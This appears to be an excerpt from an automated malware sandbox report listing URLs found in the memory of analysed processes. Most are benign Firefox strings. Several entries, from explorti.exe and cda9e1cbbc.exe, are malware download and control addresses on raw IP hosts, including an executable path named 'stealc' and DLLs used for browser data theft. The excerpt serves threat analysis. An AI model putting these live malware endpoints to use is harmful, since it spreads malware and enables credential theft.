Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: E44B:2DEAE1:15CB3F:186164:66A3490CAccept-Ranges: bytesDate: Fri, 26 Jul 2024 06:58:20 GMTVia: 1.1 varnishX-Served-By: cache-ewr18126-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1721977100.472720,VS0,VE7Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: cc743a43d7c01c8120f88e89c3cda914a31a7ab5Expires: Fri, 26 Jul 2024 07:03:20 GMTSource-Age: 0
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/cost/random.exe
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/cost/random.exe61395d7f
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/cost/random.exeon
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/enter.exe
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/enter.exemV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/soka/random.exe(T
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/003002
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/15.113.19/003002
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php-
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php3
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.php;
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpA
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpEscape
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpFh
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpM
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpS
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpb
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpe0dbbf79bf.exe.mun
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpe0dbbf79bf.exe.munP
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpi
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phplC
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.19/ows
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000013.00000002.2540102316.00000000025DE000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002645000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002620000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/499d72b3a3e55be.php
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002645000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002620000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php9
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpAV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpX
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpZ
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpelegram
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpi
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpsion
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpvV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll&_
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dllh
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll#
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll.
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll=
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dllvX
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://85.28.47.31/e
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://c.pki.goog/wr2/GSyT1N4PBrg.crl0
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF214000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabeu
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF214000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enany
Source: firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB557000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2291451161.000001F402F5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.htmlshouldSkipCheckForBrokenURLOrZeroSizedLOAD_MEDIA_SNIFF
Source: firefox.exe, 0000001C.00000003.2294552189.000001F4018A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435041713.000001F4018A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F401998000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401793000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2432050956.000001F401998000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressionsP5L
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://i.pki.goog/wr2.crt0
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001C.00000002.2751785855.000001F4002F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2373686049.000001F3FF4D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2512377760.000001F3FD1FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435041713.000001F401844000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737287562.000001F3FEF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2242563166.000001F3FF4F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2341543535.000001F4002EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2617711768.000001F3FB161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2450220058.000001F3FC3AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2433737789.000001F401935000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2335201070.000001F4003C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2444854688.000001F3FF4F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2441787817.000001F4002EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2342016879.000001F3FF4D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F401803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB5BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://o.pki.goog
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://o.pki.goog/wr2
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://o.pki.goog/wr20%
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sCan
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://support.google.com/accounts/answer/151657?hl=en
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sSelected
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: cda9e1cbbc.exe, cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2762627038.000001F4015AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435410967.000001F4015B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2294552189.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCheckerService:#updateCheck
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUpdateService:_attemptResume
